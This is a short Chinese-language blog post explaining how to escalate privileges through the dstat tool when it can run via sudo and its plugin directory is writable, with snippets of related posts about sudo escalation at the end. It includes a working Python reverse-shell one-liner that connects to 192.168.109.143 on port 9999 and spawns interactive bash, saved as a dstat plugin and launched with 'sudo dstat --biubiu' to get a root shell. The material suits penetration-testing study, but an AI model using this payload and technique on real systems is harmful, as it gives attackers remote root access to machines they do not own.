首页 > 其他分享 >sudo+dstat提权

sudo+dstat提权

时间:2023-01-19 21:34:44浏览次数:38  
标签:插件 socket sudo 提权 os dstat

Dstat 是 vmstat、iostat 和 ifstat 的通用替代品。Dstat 克服了一些限制并添加了一些额外的功能。具体详细介绍可以参考:https://linux.die.net/man/1/dstat

dstat有个功能就是提供了用户自定义插件的能力,既然用户可以自定义,那么当这个命令可以被sudo调用时,且插件目录可写的时候,就可以利用插件进行提权

经过查询文档,dstat命令的插件主要在一下两个位置保存:

 /usr/share/dstat/
 /usr/local/share/dstat/

在这连个目录下,可以看到有大量的dstat_*.py的python脚本,这些脚本就是插件。在使用过程中,只需要使用dstat --<脚本名>就可以调用这两个目录下的插件

一、写一个python反弹shell的脚本,并按照dstat_xxx.py的格式命名。

# dstat_biubiu.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.143",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

二、使用sudo命令调用dstat的插件

sudo dstat --biubiu

即可成功

*注:一个以前没遇到过的知识点,类似sudo的命令还有一个叫doas,是openbsd比较常用的一个工具。详细介绍见:https://man.openbsd.org/doas。用这个命令通过配置也可以达到sudo的效果

标签:插件,socket,sudo,提权,os,dstat
From: https://www.cnblogs.com/zlgxzswjy/p/17062180.html

相关文章

  • 特殊情况下的提权方法
    有时候用普通用户登录目标机后用sudo-l发现该用户什么命令都不能sudo解决方法如下先用find/-perm+60002>/dev/null|grep'/bin/'看看能用什么进程来提权......
  • 【操作系统】Linux性能优化诊断pidstat+mpstat详解
    文章目录​​1.CPU压测环境准备​​​​2.pidstat+mpstat命令详解​​​​3.CPU密集型应用案例实战​​​​4.IO密集型应用案例实战​​​​5.CPU多进程调度案例实战​​​......
  • Android shell提权
    Androidshell提取原理+中转https://www.jianshu.com/p/8d30b1d42031 android内执行shell的几种解决方案熟悉adbshell的小伙伴可能知道,很多android设备的信息,是可......
  • 靶机练习 - Tr0ll -2(提权)
    用overflow账号登录ssh,上传扫描文件没权限,好的,挖坑挖上瘾了是吧,换个文件夹继续传,tmp文件夹可上传成功,但是。。。没一会儿就被删了。。可能是有定时任务在执行。问了下......
  • ubuntu使用命令sudo apt -get install 安装东西时出现"E: Sub-process /usr/bin/dpkg
    办法如下:1.先将info文件夹更名sudomv/var/lib/dpkg/info/var/lib/dpkg/info_old2.再新建一个新的info文件夹sudomkdir/var/lib/dpkg/info3.更新sudoapt-getupd......
  • 个人使用 sudo 方法
    sudo作用:允许系统管理员授予某些用户或用户组以其他用户身份运行某些或所有命令的权限su用于变更为其他使用者的身份的命令,一般需要键入该使用者的密码sudo则是......
  • ubuntu系统使用 sudo: cd:找不到命令
    1、https://blog.csdn.net/sazass/article/details/125694492需要cd/var/lib/但是提示:权限不够然后前面添加sudo报错:sudo:cd:找不到命令原因:   1cd是Linux内建的......
  • 通过sudo提权方法分享
    个人sudo提权的一般过程通过用户登录后先sudo-l来查看该用户能用什么sudo命令。然后就用GTFOBins搜索该命令的sudo提权方法。 特别地:wget提权用GTFOBins搜到的......
  • ubuntu配置sudo时不需要输入密码
    https://blog.csdn.net/qq_23123181/article/details/122750038sudo相关的配置位于/etc/sudoers文件内。但这个文件不建议直接编辑,而是使用以下命令:sudovisudo该命令会打......
  • JDBC的PreparedStatement获取自增id
    @Overridepublicvoidinsert(Accountaccount)throwsClassNotFoundException,SQLException{account=newAccount(100,1001,newBigDecimal("1000"),n......